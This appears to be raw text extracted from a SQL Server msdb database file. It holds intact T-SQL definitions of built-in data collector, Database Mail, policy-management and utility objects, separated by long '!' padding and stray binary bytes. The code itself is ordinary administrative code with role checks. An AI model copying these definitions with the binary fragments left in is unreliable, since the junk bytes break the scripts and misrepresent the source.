!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`cd<
My^30Q D8
CREATE VIEW [dbo].[syscollector_execution_log_full]
AS
SELECT 
        t.log_id,
        ISNULL(t.parent_log_id, 0) as parent_log_id,
        CASE 
            WHEN t.package_id IS NULL THEN SPACE(t.depth * 4) + c.name
            WHEN t.package_id = N'84CEC861-D619-433D-86FB-0BB851AF454A' THEN SPACE(t.depth * 4) + N'Master'
            ELSE SPACE(t.depth * 4) + p.name 
        END AS [name],
        t.[status],
        t.runtime_execution_mode,
        t.start_time,
        t.last_iteration_time,
        t.finish_time,
        t.duration,
        t.failure_message,
        t.operator,
        t.package_execution_id,
        t.collection_set_id
    FROM dbo.syscollector_execution_log_internal l
    CROSS APPLY dbo.fn_syscollector_get_execution_log_tree(l.log_id, 0) t
    LEFT OUTER JOIN dbo.syscollector_collection_sets c ON( c.collection_set_id = t.collection_set_id)
    LEFT OUTER JOIN dbo.sysssispackages p ON (p.id = t.package_id AND p.id != N'84CEC861-D619-433D-86FB-0BB851AF454A')
    WHERE l.parent_log_id IS NULL
0d(Q 8
CREATE TRIGGER trig_sysmail_profile_delete
ON msdb.dbo.sysmail_profile
FOR DELETE
AS
BEGIN
   DELETE FROM msdb.dbo.sysmail_profileaccount
   WHERE profile_id IN (SELECT profile_id FROM deleted)
END
02$R D80hm%80I8yR 8CREATE PROCEDURE [dbo].[sp_syscollector_delete_execution_log_tree]
    @log_id BIGINT,
    @from_collection_set    BIT = 1
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END

    SET NOCOUNT ON;
    CREATE TABLE #log_ids (log_id BIGINT);
    
    WITH graph AS
    (
        SELECT log_id FROM dbo.syscollector_execution_log
        WHERE log_id = CASE @from_collection_set
            WHEN 1 THEN dbo.fn_syscollector_find_collection_set_root(@log_id)
            ELSE @log_id
        END
        UNION ALL
        SELECT leaf.log_id FROM dbo.syscollector_execution_log AS leaf
        INNER JOIN graph AS node ON (node.log_id = leaf.parent_log_id)
    )
    INSERT INTO #log_ids
    SELECT log_id
    FROM graph
    
    -- Delete all ssis log records pertaining to the selected logs
    DELETE FROM dbo.sysssislog
        FROM dbo.sysssislog AS s
        INNER JOIN dbo.syscollector_execution_log_internal AS l ON (l.package_execution_id = s.executionid)
        INNER JOIN #log_ids AS i ON i.log_id = l.log_id
        
    -- Then delete the actual logs
    DELETE FROM syscollector_execution_log_internal
        FROM syscollector_execution_log_internal AS l
        INNER Join #log_ids AS i ON i.log_id = l.log_id

    DROP TABLE #log_ids
    RETURN (0)
END
0.DR 8
CREATE TRIGGER [dbo].[syspolicy_insert_target_set_level_trigger] 
    ON [dbo].[syspolicy_target_set_levels_internal]
FOR INSERT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

    DECLARE @update_notifications INT
    DECLARE @update_ddl_trigger   INT

    SET @update_notifications = 0
    SET @update_ddl_trigger = 0

	DECLARE @level sysname
	SET @level = NULL
	
	-- Don't allow setting non-db levels for runtime policies
    SELECT TOP 1 @level = i.level_name
		FROM inserted i
		JOIN dbo.syspolicy_target_sets s ON (i.target_set_id = s.target_set_id)
		JOIN msdb.dbo.syspolicy_object_sets os ON s.object_set_id = os.object_set_id
		JOIN msdb.dbo.syspolicy_policies p ON (os.object_set_id = p.object_set_id)    
		WHERE 1 = dbo.syspolicy_fn_filter_complete (i.target_set_id) AND
			((p.execution_mode & 3) > 0 AND 0 = dbo.syspolicy_fn_eventing_filter (i.target_set_id))
	IF @level IS NOT NULL
    BEGIN
        RAISERROR(34016, -1, -1, @level) 
        ROLLBACK TRANSACTION
    END


    SELECT @update_notifications = SUM (p.execution_mode & 2), @update_ddl_trigger = SUM (p.execution_mode & 1)
        FROM inserted i
        JOIN dbo.syspolicy_target_sets s ON (i.target_set_id = s.target_set_id)
        JOIN msdb.dbo.syspolicy_object_sets_internal os ON (s.object_set_id = os.object_set_id)
        JOIN msdb.dbo.syspolicy_policies p ON (os.object_set_id = p.object_set_id)    
        WHERE 1 = dbo.syspolicy_fn_filter_complete (i.target_set_id) AND
            ((p.execution_mode & 3) > 0 AND p.is_enabled = 1 AND 1 = dbo.syspolicy_fn_eventing_filter (i.target_set_id))

    IF (@update_ddl_trigger > 0)
        EXEC sys.sp_syspolicy_update_ddl_trigger 

    IF    (@update_notifications > 0)    
        EXEC sys.sp_syspolicy_update_event_notification 
END
0#R 8CREATE FUNCTION [dbo].[fn_sysutility_ucp_get_instance_is_mi]()
RETURNS BIT
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @status BIT = (SELECT 
                            CASE  
                            WHEN ((ucp_instance_name IS NOT NULL) AND (mdw_database_name IS NOT NULL)) THEN CAST(1 AS BIT)
                            ELSE CAST(0 AS BIT)
                            END
                           FROM sysutility_mi_configuration_internal config)
    RETURN ISNULL(@status,0)
END	
0Q 58(sysdatetimeoffset())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`[<{yMc	.<0aT ,8CREATE PROCEDURE [dbo].[sp_syscollector_delete_collection_set]
    @collection_set_id            int = NULL,
    @name                        sysname = NULL
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END
    REVERT;

    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    DECLARE @is_system            bit
    DECLARE @is_running            bit
    DECLARE @upload_job_id        uniqueidentifier
    DECLARE @collection_job_id    uniqueidentifier
    DECLARE @collection_mode    smallint
    SELECT    @is_running = is_running,
            @is_system = is_system,
            @upload_job_id = upload_job_id, 
            @collection_job_id = collection_job_id,
            @collection_mode = collection_mode
    FROM [dbo].[syscollector_collection_sets]
    WHERE collection_set_id = @collection_set_id

    IF (@is_system = 1)
    BEGIN
        -- cannot update, delete, or add new collection items to a system collection set
        RAISERROR(14696, -1, -1);
        RETURN (1)
    END

    IF (@is_running = 1)
    BEGIN
        EXEC @retVal = sp_syscollector_stop_collection_set @collection_set_id = @collection_set_id
        IF (@retVal <> 0)
            RETURN (1)
    END

    -- All checks are go
    -- Do the actual delete
    EXEC @retVal = sp_syscollector_delete_collection_set_internal
                        @collection_set_id = @collection_set_id, 
                        @name = @name,
                        @collection_job_id = @collection_job_id,
                        @upload_job_id = @upload_job_id,
                        @collection_mode = @collection_mode
    RETURN (0)
END
0劖T +8(getdate())0T 8
CREATE TRIGGER trig_sysmail_configuration
ON msdb.dbo.sysmail_configuration
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_configuration'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_configuration 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_configuration c, inserted i
      WHERE c.paramname = i.paramname
   END
END
09U N8CREATE PROCEDURE sp_manage_jobs_by_login
  @action                   VARCHAR(10), -- DELETE or REASSIGN
  @current_owner_login_name sysname,
  @new_owner_login_name     sysname = NULL
AS
BEGIN
  DECLARE @current_sid   VARBINARY(85)
  DECLARE @new_sid       VARBINARY(85)
  DECLARE @job_id        UNIQUEIDENTIFIER
  DECLARE @rows_affected INT
  DECLARE @is_sysadmin   INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @action                   = LTRIM(RTRIM(@action))
  SELECT @current_owner_login_name = LTRIM(RTRIM(@current_owner_login_name))
  SELECT @new_owner_login_name     = LTRIM(RTRIM(@new_owner_login_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@new_owner_login_name = N'') SELECT @new_owner_login_name = NULL

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check action
  IF (@action NOT IN ('DELETE', 'REASSIGN'))
  BEGIN
    RAISERROR(14266, -1, -1, '@action', 'DELETE, REASSIGN')
    RETURN(1) -- Failure
  END

  -- Check parameter combinations
  IF ((@action = 'DELETE') AND (@new_owner_login_name IS NOT NULL))
    RAISERROR(14281, 0, 1)

  IF ((@action = 'REASSIGN') AND (@new_owner_login_name IS NULL))
  BEGIN
    RAISERROR(14237, -1, -1)
    RETURN(1) -- Failure
  END

  -- Check current login
  SELECT @current_sid = dbo.SQLAGENT_SUSER_SID(@current_owner_login_name)
  IF (@current_sid IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@current_owner_login_name', @current_owner_login_name)
    RETURN(1) -- Failure
  END

  -- Check new login (if supplied)
  IF (@new_owner_login_name IS NOT NULL)
  BEGIN
    SELECT @new_sid = dbo.SQLAGENT_SUSER_SID(@new_owner_login_name)
    IF (@new_sid IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@new_owner_login_name', @new_owner_login_name)
      RETURN(1) -- Failure
    END
  END

  IF (@action = 'DELETE')
  BEGIN
    DECLARE jobs_to_delete CURSOR LOCAL
    FOR
    SELECT job_id
    FROM msdb.dbo.sysjobs
    WHERE (owner_sid = @current_sid)

    OPEN jobs_to_delete
    FETCH NEXT FROM jobs_to_delete INTO @job_id

    SELECT @rows_affected = 0
    WHILE (@@fetch_status = 0)
    BEGIN
      EXECUTE sp_delete_job @job_id = @job_id
      SELECT @rows_affected = @rows_affected + 1
      FETCH NEXT FROM jobs_to_delete INTO @job_id
    END
    DEALLOCATE jobs_to_delete
    RAISERROR(14238, 0, 1, @rows_affected)
  END
  ELSE
  IF (@action = 'REASSIGN')
  BEGIN
    -- Check if the current owner owns any multi-server jobs.
    -- If they do, then the new owner must be member of the sysadmin role.
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobs       sj,
                     msdb.dbo.sysjobservers sjs
                WHERE (sj.job_id = sjs.job_id)
                  AND (sj.owner_sid = @current_sid)
                  AND (sjs.server_id <> 0)) AND @new_sid <> 0xFFFFFFFF) -- speical account allowed for MSX jobs
    BEGIN
      SELECT @is_sysadmin = 0
      EXECUTE msdb.dbo.sp_sqlagent_has_server_access @login_name = @new_owner_login_name, @is_sysadmin_member = @is_sysadmin OUTPUT
      IF (@is_sysadmin = 0)
      BEGIN
        RAISERROR(14543, -1, -1, @current_owner_login_name, N'sysadmin')
        RETURN(1) -- Failure
      END
    END

    UPDATE msdb.dbo.sysjobs
    SET owner_sid = @new_sid
    WHERE (owner_sid = @current_sid)
    RAISERROR(14239, 0, 1, @@rowcount, @new_owner_login_name)
  END

  RETURN(0) -- Success
END
0ʚ U j8
CREATE TRIGGER [dbo].[syspolicy_delete_target_set_trigger] ON [dbo].[syspolicy_target_sets_internal]
FOR DELETE
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

    DECLARE @update_notifications INT
    DECLARE @update_ddl_trigger   INT

    SET @update_notifications = 0
    SET @update_ddl_trigger = 0

    -- If this is cascade delete, there will be no policies to join
    SELECT @update_notifications = SUM (p.execution_mode & 2), @update_ddl_trigger = SUM (p.execution_mode & 1)
        FROM deleted d
        JOIN msdb.dbo.syspolicy_object_sets_internal os ON d.object_set_id = os.object_set_id
        JOIN msdb.dbo.syspolicy_policies p ON (os.object_set_id = p.object_set_id)    
        WHERE ((p.execution_mode & 3) > 0 AND p.is_enabled = 1)

    IF (@update_ddl_trigger > 0)
        EXEC sys.sp_syspolicy_update_ddl_trigger 

    IF    (@update_notifications > 0)    
        EXEC sys.sp_syspolicy_update_event_notification 
END
0vT %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
T`^<	M3"uq0ZZ 8CREATE PROCEDURE [dbo].[sp_syscollector_sql_text_lookup]
    @sql_handle varbinary(64)
AS
BEGIN
    SET NOCOUNT ON
    SELECT    
        @sql_handle as sql_handle,
        dm.[dbid] AS database_id,
        dm.[objectid] AS object_id,
        OBJECT_NAME(objectid, dbid) AS object_name,
        CASE dm.[encrypted]
            WHEN 1 THEN N'Query SQL Text Encrypted'
            ELSE dm.[text]
        END AS sql_text
        FROM    
            [sys].[dm_exec_sql_text](@sql_handle) dm
END
0enZ -8
CREATE PROCEDURE dbo.sysmail_verify_addressparams_sp
  @address          VARCHAR(MAX),
  @parameter_name   NVARCHAR(32)
AS
  IF ((@address IS NOT NULL) AND (@address != N''))
  BEGIN
    DECLARE @commaIndex int
    SET @commaIndex = CHARINDEX(',', @address)
    IF (@commaIndex > 0)
    BEGIN
      -- Comma is the wrong format to separate addresses. Users should use the semicolon ";".
      RAISERROR(14613, 16, 1, @parameter_name, @address)
      RETURN(1)        
    END
  END

  RETURN(0) -- SUCCESS
0iZ 8
CREATE PROCEDURE [dbo].[sp_sysutility_mi_get_dac_execution_statistics_internal]
AS
BEGIN
   SET NOCOUNT ON;   -- Required for SSIS to retrieve the proc's output rowset 
   DECLARE @logical_processor_count int;
   SELECT @logical_processor_count = cpu_count FROM sys.dm_os_sys_info;
   
   -- Get the shared "batch time" that will be a part of all data collection query rowsets.  On the UCP, this 
   -- will be used to tie together all of the data from one execution of the MI data collection job. 
   
   -- Check for the existance of the temp table.  If it is there, then the Utility is
   -- set up correctly.  If it is not there, do not fail the upload.  This handles the
   -- case when a user might run the collection set out-of-band from the Utility.
   -- The data may not be staged, but no sporratic errors should occur
   DECLARE @current_batch_time datetimeoffset(7) = SYSDATETIMEOFFSET();
   IF OBJECT_ID ('[tempdb].[dbo].[sysutility_batch_time_internal]') IS NOT NULL
   BEGIN
      SELECT @current_batch_time = latest_batch_time FROM tempdb.dbo.sysutility_batch_time_internal;
   END

   -- Temp storage for the DAC execution statistics for this data collection interval (typically, a 15 minute window). 
   -- This and the following table variable would be better as a temp table (b/c of the potentially large number 
   -- of rows), but this proc is run by DC with SET FMTONLY ON to get the output rowset schema.  That means no 
   -- temp tables.  
   DECLARE @upload_interval_dac_stats TABLE (
      dac_instance_name sysname PRIMARY KEY, 
      lifetime_cpu_time_ms bigint NULL,   -- amount of CPU time consumed since we started tracking this DAC
      interval_cpu_time_ms bigint NULL,   -- amount of CPU time used by the DAC in this ~15 min upload interval
      interval_start_time datetimeoffset NULL, 
      interval_end_time datetimeoffset NULL
   );
   
   -- We use an update with an OUTPUT clause to atomically update the staging table and retrieve data from it.  
   -- The use of the "inserted"/"deleted" pseudo-tables in this query ensures that we don't lose any data if the 
   -- collection job happens to be running at the same time. 
   UPDATE dbo.sysutility_mi_dac_execution_statistics_internal
   SET last_upload_time = SYSDATETIMEOFFSET(), 
       cpu_time_ms_at_last_upload = lifetime_cpu_time_ms 
   OUTPUT 
      inserted.dac_instance_name, 
      inserted.lifetime_cpu_time_ms, 
      -- Calculate the amount of CPU time consumed by this DAC since the last time we did an upload. 
      (inserted.cpu_time_ms_at_last_upload - ISNULL (deleted.cpu_time_ms_at_last_upload, 0)) AS interval_cpu_time_ms, 
      deleted.last_upload_time AS interval_start_time, 
      inserted.last_upload_time AS interval_end_time
   INTO @upload_interval_dac_stats;
   
   -- Return the data to the collection set
   SELECT 
      CONVERT (sysname, SERVERPROPERTY('ComputerNamePhysicalNetBIOS')) AS physical_server_name, 
      CONVERT (sysname, SERVERPROPERTY('ServerName')) AS server_instance_name, 
      CONVERT (sysname, dacs.database_name) AS dac_db, 
      dacs.date_created AS dac_deploy_date, 
      dacs.[description] AS dac_description, 
      dacs.dac_instance_name AS dac_name, 
      dac_stats.interval_start_time, 
      dac_stats.interval_end_time, 
      dac_stats.interval_cpu_time_ms, 
      CONVERT (real, CASE 
         WHEN dac_stats.interval_cpu_time_ms IS NOT NULL 
            AND DATEDIFF (second, dac_stats.interval_start_time, dac_stats.interval_end_time) > 0
            -- % CPU calculation is: [avg seconds of cpu time used per processor] / [interval duration in sec]
            -- The percentage value is returned as an int (e.g. 76 for 76%, not 0.76)
            THEN 100 * (dac_stats.interval_cpu_time_ms / @logical_processor_count) / 1000 / 
               DATEDIFF (second, dac_stats.interval_start_time, dac_stats.interval_end_time)
         ELSE 0
      END) AS interval_cpu_pct, 
      dac_stats.lifetime_cpu_time_ms, 
      @current_batch_time AS batch_time
   FROM dbo.sysutility_mi_dac_execution_statistics_internal AS dacs 
   LEFT OUTER JOIN @upload_interval_dac_stats AS dac_stats ON dacs.dac_instance_name = dac_stats.dac_instance_name;
END;
0_oZ [8	CREATE VIEW dbo.sysutility_ucp_computer_cpu_health 
	AS
	SELECT t.physical_server_name,
			t.health_state,
			t.processing_time
	FROM msdb.dbo.sysutility_ucp_computer_cpu_health_internal AS t
	WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
